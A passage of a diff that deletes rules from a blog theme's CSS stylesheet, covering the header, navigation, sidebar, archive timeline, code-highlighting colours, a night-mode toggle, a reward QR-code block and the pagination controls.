5px; - width: 20px; - height: 16px; - font-size: 16px; - line-height: 20px; - vertical-align: middle; - color: var(--color-font); -} -.content-home { - padding: 0 !important; - background-color: transparent; -} -.pullquote.left { - text-align: left; -} -.pullquote.right { - text-align: right; -} -.post-body h1, -.post-body h2 { - border-bottom: 1px solid var(--color-gray-250); - padding-bottom: 0.3em; -} -.table-container { - overflow: auto; - margin-bottom: 1rem; -} -.header-inner { - width: 100%; - font-size: 18px; - background-color: #2d2e30; - height: 80vh; -} -.header-inner--bgcolor { - background-color: #333; -} -.header-inner--height { - height: 50px !important; -} -.header-nav { - position: relative; - top: 0; - left: 0; - z-index: 1; - width: 100%; - height: 50px; - -webkit-transition: -webkit-transform 0.2s ease-out, background-color 0.2s ease; - -moz-transition: -moz-transform 0.2s ease-out, background-color 0.2s ease; - -o-transition: -o-transform 0.2s ease-out, background-color 0.2s ease; - -ms-transition: -ms-transform 0.2s ease-out, background-color 0.2s ease; - transition: transform 0.2s ease-out, background-color 0.2s ease; -} -.header-nav--fixed { - position: fixed; - -webkit-transform: translateY(0); - -moz-transform: translateY(0); - -o-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); -} -.header-nav--sticky { - position: fixed; - background-color: #333; - -webkit-transform: translateY(-100%); - -moz-transform: translateY(-100%); - -o-transform: translateY(-100%); - -ms-transform: translateY(-100%); - transform: translateY(-100%); -} -.header-nav.slider--down { - -webkit-transform: translateY(0); - -moz-transform: translateY(0); - -o-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); -} -.header-nav.slider--up { - -webkit-transform: translateY(-100%); - -moz-transform: translateY(-100%); - -o-transform: translateY(-100%); - -ms-transform: translateY(-100%); - transform: translateY(-100%); -} -.header-nav.slider--clear { - -webkit-transition: background-color 0.2s ease; - -moz-transition: background-color 0.2s ease; - -o-transition: background-color 0.2s ease; - -ms-transition: background-color 0.2s ease; - transition: background-color 0.2s ease; -} -.header-nav-inner { - margin: 0 auto; - padding: 20px; - padding-top: 0 !important; - padding-bottom: 0 !important; - width: 100%; - height: 100%; -} -.header-nav-menubtn { - display: none; - padding: 0 0.5rem; - line-height: 50px; - color: #f5f6f7; - cursor: pointer; -} -.header-nav-menu-item__link, -.header-nav-submenu-item__link { - display: block; - color: #f5f6f7; -} -.header-nav-menu-item__icon, -.header-nav-submenu-item__icon, -.header-nav-menu-item__text, -.header-nav-submenu-item__text { - margin: 0 3px; -} -.header-nav-menu-item__link { - padding: 0 0.5rem; - -webkit-transition: color 0.2s ease, background-color 0.2s ease; - -moz-transition: color 0.2s ease, background-color 0.2s ease; - -o-transition: color 0.2s ease, background-color 0.2s ease; - -ms-transition: color 0.2s ease, background-color 0.2s ease; - transition: color 0.2s ease, background-color 0.2s ease; -} -.header-nav-menu-item__link:hover { - color: #f4f5f5; - background-color: #999; -} -.header-nav-submenu-item__link { - padding: 0.75rem 0.5rem; - -webkit-transition: color 0.2s ease, background-color 0.2s ease; - -moz-transition: color 0.2s ease, background-color 0.2s ease; - -o-transition: color 0.2s ease, background-color 0.2s ease; - -ms-transition: color 0.2s ease, background-color 0.2s ease; - transition: color 0.2s ease, background-color 0.2s ease; -} -.header-nav-submenu-item__link:hover { - color: #f4f5f5; - background-color: #999; -} -.header-nav-menu { - display: none; - height: 100%; - line-height: 50px; -} -.header-nav-menu-item { - float: left; - position: relative; - margin: 0 1rem 0 0; - height: 50px; - text-align: center; - cursor: pointer; -} -.header-nav-menu-item:last-child { - margin: 0; -} -.header-nav-submenu { - display: none; - position: absolute; - right: -0.5rem; - left: -0.5rem; - width: auto; - background-color: #2d2e30; -} -.header-nav-submenu.hide--force { - display: none !important; -} -.header-nav-submenu-item { - margin: 0; - padding: 0; - width: 100%; - font-size: 18px; - line-height: 1; - text-align: center; -} -.header-nav-mode { - display: -webkit-box; - display: -moz-box; - display: -webkit-flex; - display: -ms-flexbox; - display: box; - display: flex; - float: right; - padding: 0 0.5rem; - height: 100%; - line-height: 50px; - -webkit-box-align: center; - -moz-box-align: center; - -o-box-align: center; - -ms-flex-align: center; - -webkit-align-items: center; - align-items: center; -} -.header-banner { - position: relative; - z-index: 0; - width: 100%; - height: 100%; -} -.header-banner-info { - position: absolute; - top: 50%; - left: 0; - padding: 0 0.5rem; - width: 100%; - text-align: center; - -webkit-transform: translateY(-50%); - -moz-transform: translateY(-50%); - -o-transform: translateY(-50%); - -ms-transform: translateY(-50%); - transform: translateY(-50%); -} -.header-banner-info__title { - margin-bottom: 2rem; - font-size: 4rem; - font-weight: 700; - line-height: 1; - color: #f5f6f7; -} -.header-banner-info__subtitle { - font-size: 1.2rem; - font-weight: 400; - color: #f5f6f7; -} -.footer__icon { - display: inline-block; - margin: 0 0.4rem; - font-size: 1em; - color: #f00; -} -.footer-inner { - position: relative; - padding: 1rem; - font-size: 16px; - text-align: center; - color: #f5f6f7; - background-color: #2d2e30; -} -.footer a { - color: #c20808; - -webkit-transition: color 0.2s ease; - -moz-transition: color 0.2s ease; - -o-transition: color 0.2s ease; - -ms-transition: color 0.2s ease; - transition: color 0.2s ease; -} -.footer a:hover { - color: #ed0b0b; -} -.footer__devider { - margin: 0 10px; -} -.sidebar { - border-radius: 5px; - padding: 1rem 2rem; - background-color: var(--color-card); - padding: 1rem; - width: 300px; - font-size: 16px; -} -.sidebar--sticky { - position: fixed; - top: 20px; - z-index: 0; - -webkit-transform: translateZ(0); - -moz-transform: translateZ(0); - -o-transform: translateZ(0); - -ms-transform: translateZ(0); - transform: translateZ(0); -} -.sidebar .hide { - display: none; -} -.sidebar-wrap { - width: 300px; - float: right; -} -.sidebar-nav { - padding-bottom: 1em; - text-align: center; -} -.sidebar-nav-toc, -.sidebar-nav-ov { - border-bottom: 1px solid var(--color-gray-150); - padding: 0.3em 0.5em; - color: var(--color-gray-800); - -webkit-transition: opacity 0.2s; - -moz-transition: opacity 0.2s; - -o-transition: opacity 0.2s; - -ms-transition: opacity 0.2s; - transition: opacity 0.2s; -} -.sidebar-nav-toc:hover, -.sidebar-nav-ov:hover { - color: #fc6423; - cursor: pointer; -} -.sidebar-nav .current { - border-color: #fc6423; - color: #fc6423; -} -.sidebar-toc { - overflow: auto; - position: relative; - max-height: 70vh; - white-space: normal; - word-wrap: break-word; - word-break: break-word; -} -.sidebar-toc .toc-child { - display: none; -} -.sidebar-toc .active > .toc-child { - display: block; -} -.sidebar-toc .current > .toc-child { - display: block; -} -.sidebar-toc .active > a, -.sidebar-toc .current > a { - color: #fc6423; - -webkit-transition: color 0.3s; - -moz-transition: color 0.3s; - -o-transition: color 0.3s; - -ms-transition: color 0.3s; - transition: color 0.3s; -} -.sidebar-toc ol, -.sidebar-toc li { - list-style: none; -} -.sidebar-toc ol { - margin: 0; - padding-left: 1em; -} -.sidebar-ov-author { - width: 100%; - text-align: center; -} -.sidebar-ov-author__avatar { - margin: 0 auto; - width: 120px; - height: 120px; -} -.sidebar-ov-author__avatar_img { - opacity: 1; - -ms-filter: none; - filter: none; -} -.sidebar-ov-author__avatar:hover .sidebar-ov-author__avatar_img { - -webkit-animation: avatar-turn 0.8s both ease-out; - -moz-animation: avatar-turn 0.8s both ease-out; - -o-animation: avatar-turn 0.8s both ease-out; - -ms-animation: avatar-turn 0.8s both ease-out; - animation: avatar-turn 0.8s both ease-out; -} -@-moz-keyframes avatar-turn { - 100% { - -webkit-transform: rotate(1turn); - -moz-transform: rotate(1turn); - -o-transform: rotate(1turn); - -ms-transform: rotate(1turn); - transform: rotate(1turn); - } -} -@-webkit-keyframes avatar-turn { - 100% { - -webkit-transform: rotate(1turn); - -moz-transform: rotate(1turn); - -o-transform: rotate(1turn); - -ms-transform: rotate(1turn); - transform: rotate(1turn); - } -} -@-o-keyframes avatar-turn { - 100% { - -webkit-transform: rotate(1turn); - -moz-transform: rotate(1turn); - -o-transform: rotate(1turn); - -ms-transform: rotate(1turn); - transform: rotate(1turn); - } -} -@keyframes avatar-turn { - 100% { - -webkit-transform: rotate(1turn); - -moz-transform: rotate(1turn); - -o-transform: rotate(1turn); - -ms-transform: rotate(1turn); - transform: rotate(1turn); - } -} -.sidebar-ov-author__text { - margin: 0.5rem 0 0; - font-weight: 600; -} -.sidebar-ov-state { - padding: 0.5rem 0; - text-align: center; -} -.sidebar-ov-state-item { - display: inline-block; - width: 33.3%; - line-height: 1.5em; - -webkit-transition: color 0.2s ease; - -moz-transition: color 0.2s ease; - -o-transition: color 0.2s ease; - -ms-transition: color 0.2s ease; - transition: color 0.2s ease; -} -.sidebar-ov-state-item:not(:last-child) { - border-right: 1px dashed var(--color-gray-300); -} -.sidebar-ov-state-item--posts { - color: #54bcff; -} -.sidebar-ov-state-item--posts:hover { - color: #0090ed; -} -.sidebar-ov-state-item--categories { - color: var(--color-gray-700); -} -.sidebar-ov-state-item--categories:hover { - color: var(--color-gray-900); -} -.sidebar-ov-state-item--tags { - color: #ff8956; -} -.sidebar-ov-state-item--tags:hover { - color: #ef4800; -} -.sidebar-ov-state-item__count { - font-weight: 600; - color: var(--color-gray-950); -} -.sidebar-ov-cc { - padding-top: 0.5rem; - text-align: center; -} -.sidebar-reading { - overflow: hidden; - margin-top: 0.5em; - text-align: center; -} -.sidebar-reading-info { - margin-bottom: 0.3em; -} -.sidebar-reading-line { - width: 100%; - height: 1px; - background-color: #fc6423; - -webkit-transition: -webkit-transform 0.2s ease; - -moz-transition: -moz-transform 0.2s ease; - -o-transition: -o-transform 0.2s ease; - -ms-transition: -ms-transform 0.2s ease; - transition: transform 0.2s ease; - -webkit-transform: translateX(-100%); - -moz-transform: translateX(-100%); - -o-transform: translateX(-100%); - -ms-transform: translateX(-100%); - transform: translateX(-100%); -} -.archive { - margin-left: 1rem; -} -.archive-total { - position: relative; - padding: 0 0 1.5rem 1.5rem; - font-size: calc(1em + 2px); -} -.archive-total::before { - content: ''; - position: absolute; - top: 1em; - bottom: -1em; - left: 0; - border-left: 0.2rem dashed var(--color-gray-250); - -webkit-transform: translateX(-50%); - -moz-transform: translateX(-50%); - -o-transform: translateX(-50%); - -ms-transform: translateX(-50%); - transform: translateX(-50%); -} -.archive-total::after { - content: ''; - position: absolute; - top: 1em; - left: 0; - border: 0.15rem solid #6ec5ff; - border-radius: 50%; - width: 0.6rem; - height: 0.6rem; - background-color: var(--color-gray-250); - -webkit-transition: border-color 0.2s ease; - -moz-transition: border-color 0.2s ease; - -o-transition: border-color 0.2s ease; - -ms-transition: border-color 0.2s ease; - transition: border-color 0.2s ease; - -webkit-transform: translate(-50%, -50%); - -moz-transform: translate(-50%, -50%); - -o-transform: translate(-50%, -50%); - -ms-transform: translate(-50%, -50%); - transform: translate(-50%, -50%); -} -.archive-total:hover::after { - border-color: #fc6423; -} -.tagcloud, -.category { - width: 100%; -} -.tagcloud-total, -.category-total { - font-size: calc(1em + 10px); - text-align: center; - cursor: default; -} -.tagcloud { - text-align: center; -} -.tagcloud-item a { - margin: 0 0.4rem; - -webkit-transition: color 0.2s ease; - -moz-transition: color 0.2s ease; - -o-transition: color 0.2s ease; - -ms-transition: color 0.2s ease; - transition: color 0.2s ease; -} -.tagcloud-item a:hover { - color: #fc6423 !important; -} -.category-list-item::before { - color: #49b1f5; -} -.category-list-item:hover::before { - color: #fc6423; -} -.category-list-link { - font-size: 1em; - color: #49b1f5; - -webkit-transition: color 0.2s ease; - -moz-transition: color 0.2s ease; - -o-transition: color 0.2s ease; - -ms-transition: color 0.2s ease; - transition: color 0.2s ease; -} -.category-list-link:hover { - color: #fc6423; -} -.category-list-count { - margin-left: 0.3em; - font-size: 13px; - color: var(--color-gray-600); -} -.category-list-count::before { - content: '('; -} -.category-list-count::after { - content: ')'; -} -.categorypage-title, -.tagpage-title { - font-size: 24px; - text-align: center; -} -.categorypage-title__name, -.tagpage-title__name { - color: #49b1f5; -} -.custompage { - width: 100%; -} -.timeline { - position: relative; -} -.timeline::before { - content: ''; - position: absolute; - top: 1em; - bottom: 1em; - left: 0; - border-left: 0.2rem solid var(--color-gray-250); - -webkit-transform: translateX(-50%); - -moz-transform: translateX(-50%); - -o-transform: translateX(-50%); - -ms-transform: translateX(-50%); - transform: translateX(-50%); -} -.timeline-item { - display: block; - position: relative; - margin-bottom: 0.8rem; - padding-left: 1.5rem; - width: 100%; - -webkit-box-align: center; - -moz-box-align: center; - -o-box-align: center; - -ms-flex-align: center; - -webkit-align-items: center; - align-items: center; -} -.timeline-item::before { - content: ''; - position: absolute; - top: 50%; - left: 0; - border-radius: 50%; - width: 0.3rem; - height: 0.3rem; - background-color: #6ec5ff; - -webkit-transition: background-color 0.2s ease; - -moz-transition: background-color 0.2s ease; - -o-transition: background-color 0.2s ease; - -ms-transition: background-color 0.2s ease; - transition: background-color 0.2s ease; - -webkit-transform: translate(-50%, -50%); - -moz-transform: translate(-50%, -50%); - -o-transform: translate(-50%, -50%); - -ms-transform: translate(-50%, -50%); - transform: translate(-50%, -50%); -} -.timeline-item:hover::before { - background-color: #fc6423; -} -.timeline-item:last-child { - margin-bottom: 0; -} -.timeline-item--year { - font-weight: 700; -} -.timeline-item--year::before { - border: 0.12rem solid #6ec5ff; - width: 0.4rem; - height: 0.4rem; - background-color: var(--color-gray-250); -} -.timeline-item--year:hover::before { - border-color: #fc6423; - background-color: var(--color-gray-250); -} -.timeline-item__time { - display: inline-block; - width: 3.5rem; - vertical-align: middle; - color: #99a9bf; - -webkit-transform: translateY(3%); - -moz-transform: translateY(3%); - -o-transform: translateY(3%); - -ms-transform: translateY(3%); - transform: translateY(3%); -} -.timeline-item__title { - display: inline-block; - margin: 0; - width: calc(100% - 4.5rem); - font-size: 1em; - font-weight: normal; - vertical-align: middle; -} -.timeline-item__link { - color: var(--color-gray-900); -} -.postlist-item { - margin: 0 0 1.5rem; - width: 100%; - border-radius: 5px; - padding: 1rem 2rem; - background-color: var(--color-card); -} -.post-readmore { - margin-top: 1.5rem; - text-align: center; -} -.post-readmore__link { - display: inline-block; - border-radius: 5px; - padding: 0 0.6em; - color: var(--color-gray-200); - background-color: #73c8ff; - -webkit-transition: background-color 0.2s ease; - -moz-transition: background-color 0.2s ease; - -o-transition: background-color 0.2s ease; - -ms-transition: background-color 0.2s ease; - transition: background-color 0.2s ease; - cursor: pointer; -} -.post-readmore__link:hover { - color: var(--color-gray-200); - background-color: #49b1f5; -} -.post-readmore__icon { - margin-left: 0.3rem; -} -.post-header { - position: relative; - margin-bottom: 1rem; - font-size: 1em; - text-align: center; -} -.post-title { - margin: 0; - color: var(--color-gray-950); - cursor: auto; -} -.post-title__link { - position: relative; - color: var(--color-gray-800); - white-space: normal; - word-wrap: break-word; - word-break: break-word; -} -.post-title__link::before { - content: ''; - visibility: hidden; - position: absolute; - right: 0; - bottom: -4px; - left: 0; - height: 2px; - background-color: var(--color-gray-800); - -webkit-transition: -webkit-transform 0.2s ease-in-out; - -moz-transition: -moz-transform 0.2s ease-in-out; - -o-transition: -o-transform 0.2s ease-in-out; - -ms-transition: -ms-transform 0.2s ease-in-out; - transition: transform 0.2s ease-in-out; - -webkit-transform: scaleX(0); - -moz-transform: scaleX(0); - -o-transform: scaleX(0); - -ms-transform: scaleX(0); - transform: scaleX(0); -} -.post-title__link:hover { - color: var(--color-gray-800); -} -.post-title__link:hover::before { - visibility: visible; - -webkit-transform: scaleX(1); - -moz-transform: scaleX(1); - -o-transform: scaleX(1); - -ms-transform: scaleX(1); - transform: scaleX(1); -} -.post-meta-item:not(:first-child)::before { - content: '•'; - margin: 0 0.5rem; - color: var(--color-gray-700); -} -.post-meta-item__icon, -.post-meta-item__info, -.post-meta-item__value { - margin: 0 2px; -} -.post-meta-item--createtime { - color: var(--color-gray-700); -} -.post-meta-item--updatetime { - color: #49b1f5; -} -.post-meta-item--visitors { - color: #fc6423; -} -.post-ending { - margin-bottom: 1rem; -} -.post-copyright { - margin-bottom: 1rem; -} -.post-tags { - margin-bottom: 1rem; -} -.post-tags-item { - margin: 0 0.5rem; -} -.post-tags-item:hover { - cursor: pointer; -} -.post-tags-item__icon, -.post-tags-item__link { - margin: 0.1rem; - color: #49b1f5; - -webkit-transition: color 0.2s; - -moz-transition: color 0.2s; - -o-transition: color 0.2s; - -ms-transition: color 0.2s; - transition: color 0.2s; -} -.post-tags-item:hover .post-tags-item__icon, -.post-tags-item:hover .post-tags-item__link { - color: #fc6423; -} -.post-reward { - margin-bottom: 1rem; -} -.post-paginator { - border-top: 1px solid var(--color-gray-250); - padding-top: 1rem; -} -.highlight figcaption span:first-child::before { - margin: 0 0.6rem 0 0; - color: var(--color-gray-550); -} -.highlight.markdown figcaption span:first-child::before { - content: 'markdown'; -} -.highlight.md figcaption span:first-child::before { - content: 'md'; -} -.highlight.diff figcaption span:first-child::before { - content: 'diff'; -} -.highlight.javascript figcaption span:first-child::before { - content: 'javascript'; -} -.highlight.js figcaption span:first-child::before { - content: 'js'; -} -.highlight.typescript figcaption span:first-child::before { - content: 'typescript'; -} -.highlight.ts figcaption span:first-child::before { - content: 'ts'; -} -.highlight.java figcaption span:first-child::before { - content: 'java'; -} -.highlight.json figcaption span:first-child::before { - content: 'json'; -} -.highlight.html figcaption span:first-child::before { - content: 'html'; -} -.highlight.xml figcaption span:first-child::before { - content: 'xml'; -} -.highlight.css figcaption span:first-child::before { - content: 'css'; -} -.highlight.less figcaption span:first-child::before { - content: 'less'; -} -.highlight.scss figcaption span:first-child::before { - content: 'scss'; -} -.highlight.stylus figcaption span:first-child::before { - content: 'stylus'; -} -.highlight.styl figcaption span:first-child::before { - content: 'styl'; -} -.highlight.sql figcaption span:first-child::before { - content: 'sql'; -} -.highlight.bash figcaption span:first-child::before { - content: 'bash'; -} -.highlight.shell figcaption span:first-child::before { - content: 'shell'; -} -.highlight.python figcaption span:first-child::before { - content: 'python'; -} -.highlight.py figcaption span:first-child::before { - content: 'py'; -} -.highlight.ruby figcaption span:first-child::before { - content: 'ruby'; -} -.highlight.cpp figcaption span:first-child::before { - content: 'cpp'; -} -.highlight.c\+\+ figcaption span:first-child::before { - content: 'c\+\+'; -} -.highlight.c\# figcaption span:first-child::before { - content: 'c\#'; -} -.highlight.go figcaption span:first-child::before { - content: 'go'; -} -.highlight.kotlin figcaption span:first-child::before { - content: 'kotlin'; -} -.highlight.kt figcaption span:first-child::before { - content: 'kt'; -} -.highlight.objectivec figcaption span:first-child::before { - content: 'objectivec'; -} -.highlight.php figcaption span:first-child::before { - content: 'php'; -} -.highlight.perl figcaption span:first-child::before { - content: 'perl'; -} -.highlight.pl figcaption span:first-child::before { - content: 'pl'; -} -.highlight.pm figcaption span:first-child::before { - content: 'pm'; -} -.highlight.rust figcaption span:first-child::before { - content: 'rust'; -} -.highlight.rs figcaption span:first-child::before { - content: 'rs'; -} -.highlight.swift figcaption span:first-child::before { - content: 'swift'; -} -.highlight.coffeescript figcaption span:first-child::before { - content: 'coffeescript'; -} -.highlight.coffee figcaption span:first-child::before { - content: 'coffee'; -} -.highlight.lua figcaption span:first-child::before { - content: 'lua'; -} -.highlight.yaml figcaption span:first-child::before { - content: 'yaml'; -} -.highlight.yml figcaption span:first-child::before { - content: 'yml'; -} -.highlight.nginx figcaption span:first-child::before { - content: 'nginx'; -} -.highlight.dockerfile figcaption span:first-child::before { - content: 'dockerfile'; -} -.highlight.makefile figcaption span:first-child::before { - content: 'makefile'; -} -.highlight { - margin: 0 0 1rem; - border-radius: 0.25rem; - width: 100%; - line-height: 1.7; - color: var(--color-gray-850); - background-color: var(--color-gray-200); -} -.highlight pre, -.highlight code { - font-family: 'Source Code Pro', Consolas, Menlo, Monaco, 'Courier New', monospace; -} -.highlight pre { - margin: 0; -} -.highlight td { - border-width: 0; -} -.highlight figcaption { - position: relative; - width: 100%; - color: var(--color-gray-850); - background-color: var(--color-gray-200); - zoom: 1; - padding: 0.1rem 0; -} -.highlight figcaption:before, -.highlight figcaption:after { - content: ""; - display: table; -} -.highlight figcaption:after { - clear: both; -} -.highlight figcaption span:first-child { - float: left; - margin-left: 0.5rem; - color: var(--color-gray-850); -} -.highlight figcaption span.external-link { - float: right; - margin-right: 2em; -} -.highlight figcaption.custom { - min-height: 1.5rem; - border-radius: 0.25rem; -} -.highlight figcaption.custom .custom-lang { - float: left; - margin: 0 0.6rem; - color: var(--color-gray-550); -} -.highlight td.gutter { - border-right: 1px solid var(--color-gray-300); - padding: 0.4rem 0.6rem; - width: 2rem; - background-color: var(--color-gray-200); - border-radius: 0.25rem; -} -.highlight td.gutter pre { - text-align: right; - white-space: nowrap; - color: var(--color-gray-550); - background-color: inherit; -} -.highlight td.code { - padding: 0.5rem 0.6rem; -} -.highlight .marked { - background-color: var(--color-gray-260); -} -.highlight .emphasis { - font-style: italic; -} -.highlight .strong { - font-weight: bold; -} -.highlight .comment { - color: #969896; -} -.highlight .quote, -.highlight .params { - color: var(--color-gray-850); -} -.highlight .selector-tag, -.highlight .template-variable, -.highlight .variable, -.highlight .deletion, -.highlight .regexp, -.highlight .name, -.highlight .tag { - color: #c82829; -} -.highlight .builtin-name, -.highlight .literal, -.highlight .number, -.highlight .type, -.highlight .meta, -.highlight .link { - color: #ee8019; -} -.highlight .class .keyword:first-child + .title, -.highlight .built_in, -.highlight .attribute { - color: #eab700; -} -.highlight .class .keyword ~ .title, -.highlight .string .template-variable, -.highlight .meta-string, -.highlight .tag, -.highlight .class, -.highlight .subst, -.highlight .regexp { - color: #4eb4b4; -} -.highlight .string, -.highlight .symbol, -.highlight .bullet, -.highlight .addition { - color: #4dc14c; -} -.highlight .title, -.highlight .section { - color: #2a75c8; -} -.highlight .meta-keyword, -.highlight .doctag, -.highlight .selector-id, -.highlight .selector-attr, -.highlight .selector-class, -.highlight .selector-pseudo, -.highlight .function, -.highlight .tag .attr, -.highlight .keyword { - color: #be4dbc; -} -.bash .meta, -.rust .meta { - color: #969896; -} -.c\+\+ .built_in, -.cpp .built_in, -.ini .variable, -.ini .literal, -.ini .number, -.less .variable, -.scss .variable, -.styl .variable, -.stylus .variable { - color: var(--color-gray-850); -} -.html .meta, -.xml .meta, -.yaml .attr, -.yml .attr { - color: #c82829; -} -.js .params, -.javascript .params { - color: #ee8019; -} -.json .attr, -.swift .type { - color: #eab700; -} -.variable .variable, -.bash .variable, -.c\+\+ .meta, -.cpp .meta, -.c\# .meta, -.css .number, -.diff .meta { - color: #4eb4b4; -} -.md .section, -.markdown .section, -.py .string .meta, -.python .string .meta { - color: #4dc14c; -} -.bash .built_in, -.css .built_in, -.go .built_in, -.py .meta, -.python .meta, -.shell .meta, -.shell .keyword, -.shell .built_in { - color: #2a75c8; -} -.ini .attr, -.objectivec .meta, -.yaml .type, -.yml .type { - color: #be4dbc; -} -.diff .addition { - color: #292; - background-color: #f0fff4; -} -.diff .deletion { - color: #d44; - background-color: #ffeef0; -} -.nightmode .diff .addition { - background-color: transparent; -} -.nightmode .diff .deletion { - background-color: transparent; -} -.ending { - padding: 1rem 0 0; - text-align: center; - color: var(--color-gray-400); - border-top: 1px dashed var(--color-gray-300); -} -.back2top { - position: fixed; - right: 0; - bottom: 5vh; - -webkit-transition: -webkit-transform 0.2s ease; - -moz-transition: -moz-transform 0.2s ease; - -o-transition: -o-transform 0.2s ease; - -ms-transition: -ms-transform 0.2s ease; - transition: transform 0.2s ease; - -webkit-transform: translateX(100%); - -moz-transform: translateX(100%); - -o-transform: translateX(100%); - -ms-transform: translateX(100%); - transform: translateX(100%); - cursor: pointer; -} -.back2top--show { - -webkit-transform: translateX(-100%); - -moz-transform: translateX(-100%); - -o-transform: translateX(-100%); - -ms-transform: translateX(-100%); - transform: translateX(-100%); -} -.back2top--hide { - -webkit-transform: translateX(100%); - -moz-transform: translateX(100%); - -o-transform: translateX(100%); - -ms-transform: translateX(100%); - transform: translateX(100%); -} -.back2top__icon { - display: block; - font-size: 1.2rem; - line-height: 1; - color: #49b1f5; - -webkit-transition: color 0.2s ease; - -moz-transition: color 0.2s ease; - -o-transition: color 0.2s ease; - -ms-transition: color 0.2s ease; - transition: color 0.2s ease; - -webkit-transform: rotate(-45deg); - -moz-transform: rotate(-45deg); - -o-transform: rotate(-45deg); - -ms-transform: rotate(-45deg); - transform: rotate(-45deg); -} -.back2top__icon:hover { - color: #fc6423; -} -.zoomimg-mask { - position: fixed; - top: 0; - left: 0; - z-index: 2; - width: 100%; - height: 100%; - background-color: rgba(0,0,0,0.6); - opacity: 0; - -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; - filter: alpha(opacity=0); -} -.zoomimg { - cursor: zoom-in; -} -.zoomimg--hide { - visibility: hidden; -} -.zoomimg-clone { - position: absolute; - z-index: 2; - background-color: #fff; - cursor: zoom-out; - will-change: transform; -} -.mode { - position: relative; - border: 0; - padding: 0; - line-height: 100%; - background-color: transparent; - cursor: pointer; - -webkit-user-select: none; - -moz-user-select: none; - -ms-user-select: none; - user-select: none; -} -.mode--focus .mode-thumb { - -webkit-box-shadow: 0 0 2px 3px #0099e0; - box-shadow: 0 0 2px 3px #0099e0; -} -.mode--checked .mode-thumb { - -webkit-transform: translateX(26px); - -moz-transform: translateX(26px); - -o-transform: translateX(26px); - -ms-transform: translateX(26px); - transform: translateX(26px); -} -.mode-track { - border-radius: 30px; - width: 50px; - height: 24px; - font-size: 0; - background-color: #8c8a8a; -} -.mode-track-moon, -.mode-track-sun { - display: inline-block; - position: absolute; - top: 0; - bottom: 0; - width: 25px; - height: 100%; - font-size: 14px; -} -.mode-track-moon::before, -.mode-track-sun::before { - display: block; - width: 100%; - height: 100%; - font-size: 14px; - line-height: 24px; - text-align: center; -} -.mode-track-moon { - left: 0; -} -.mode-track-moon::before { - content: '🌜'; -} -.mode-track-sun { - right: 0; -} -.mode-track-sun::before { - content: '🌞'; -} -.mode-thumb { - position: absolute; - top: 1px; - left: 1px; - -webkit-box-sizing: border-box; - -moz-box-sizing: border-box; - box-sizing: border-box; - border: 1px solid #4d4d4d; - border-radius: 50%; - width: 22px; - height: 22px; - background-color: #fafafa; - -webkit-transition: -webkit-transform 0.2s ease; - -moz-transition: -moz-transform 0.2s ease; - -o-transition: -o-transform 0.2s ease; - -ms-transition: -ms-transform 0.2s ease; - transition: transform 0.2s ease; -} -.mode-input { - position: absolute; - border: 0; - width: 0; - height: 0; -} -.reward { - text-align: center; -} -.reward-button { - display: inline-block; - margin: 1rem 0 1.5rem; - border-radius: 6px; - padding: 0.2rem 1rem; - color: #f5f6f7; - background-color: #ff6868; - -webkit-transition: background-color 0.2s ease; - -moz-transition: background-color 0.2s ease; - -o-transition: background-color 0.2s ease; - -ms-transition: background-color 0.2s ease; - transition: background-color 0.2s ease; - cursor: pointer; -} -.reward-button:hover { - background-color: #e45c5c; -} -.reward-qrcode { - display: none; -} -.reward-qrcode-alipay, -.reward-qrcode-wechat { - display: inline-block; - margin: 0 2rem; -} -.reward-qrcode-alipay__img, -.reward-qrcode-wechat__img { - width: 200px; - height: 200px; -} -.reward-qrcode-alipay__text, -.reward-qrcode-wechat__text { - margin: 0.5rem 0; -} -.reward-qrcode-alipay__text { - color: #1caceb; -} -.reward-qrcode-wechat__text { - color: #3cb034; -} -.copyright { - position: relative; - border: 1px solid var(--color-gray-250); - padding: 0.8rem 1rem; - width: 100%; - -webkit-transition: box-shadow 0.2s ease; - -moz-transition: box-shadow 0.2s ease; - -o-transition: box-shadow 0.2s ease; - -ms-transition: box-shadow 0.2s ease; - transition: box-shadow 0.2s ease; -} -.copyright:hover { - -webkit-box-shadow: 0 0 16px 8px var(--color-gray-250); - box-shadow: 0 0 16px 8px var(--color-gray-250); -} -.copyright-author__name, -.copyright-link__name, -.copyright-notice__name { - font-weight: 600; - white-space: normal; - word-wrap: break-word; - word-break: break-word; -} -.copyright-author__value, -.copyright-link__value, -.copyright-notice__value { - color: var(--color-gray-800); - white-space: normal; - word-wrap: normal; - word-break: break-all; -} -.gallery img { - margin-bottom: 10px; -} -.exturl__icon { - margin: 0 0.1em 0 0.3em; - font-size: 0.8em; - color: #aaa; -} -.exturl__link { - white-space: normal; - word-wrap: break-word; - word-break: break-word; -} -.footer .exturl__icon { - color: #fff; -} -.comments { - margin: 1.5rem 0 0; - width: 100%; - border-radius: 5px; - padding: 1rem 2rem; - background-color: var(--color-card); - float: left; -} -.copy-button { - position: absolute; - top: 0; - right: 0; - width: 1.5rem; - height: 1.5rem; - line-height: 1.5rem; - text-align: center; - color: var(--color-gray-800); - cursor: pointer; -} -.copy-button i { - color: var(--color-gray-550); -} -.sticky-top { - position: absolute; - top: 0; - width: 1rem; - height: 1rem; - line-height: 1rem; - text-align: center; - right: 0; -} -.sticky-top__icon { - display: block; - width: 100%; - height: 100%; - color: #999; - -webkit-transform: rotate(45deg); - -moz-transform: rotate(45deg); - -o-transform: rotate(45deg); - -ms-transform: rotate(45deg); - transform: rotate(45deg); -} -.archive .sticky-top { - top: 50%; - right: 0; - left: auto; - -webkit-transform: translate(0, -50%); - -moz-transform: translate(0, -50%); - -o-transform: translate(0, -50%); - -ms-transform: translate(0, -50%); - transform: translate(0, -50%); -} -.paginator { - margin-top: 1rem; - text-align: center; -} -.paginator-inner { - border-radius: 5px; - padding: 12px 0; - background-color: var(--color-gray-150); -} -.paginator .page-number, -.paginator .prev, -.paginator .next { - display: inline-block; - margin: 0 0.5em; - border: 1px solid transparent; - border-radius: 3px; - width: 1.5rem; - height: 1.5rem; - line-height: 1.5rem; - text-align: center; - vertical-align: middle; - -webkit-transition: border 0.2s ease; - -moz-transition: border 0.2s ease; - -o-transition: border 0.2s ease; - -ms-transition: border 0.2s ease; - transition: border 0.2s ease; -} -.paginator .page-number:hover, -.paginator .prev:hover, -.paginator .next:hover { - border-color: var(--color-gray-260); -} -.paginator .current { - color: #f4f5f5; - background-color: #49b1f5; -} -.paginator .current:hover { - border-color: transparent; -} -.paginator-prev, 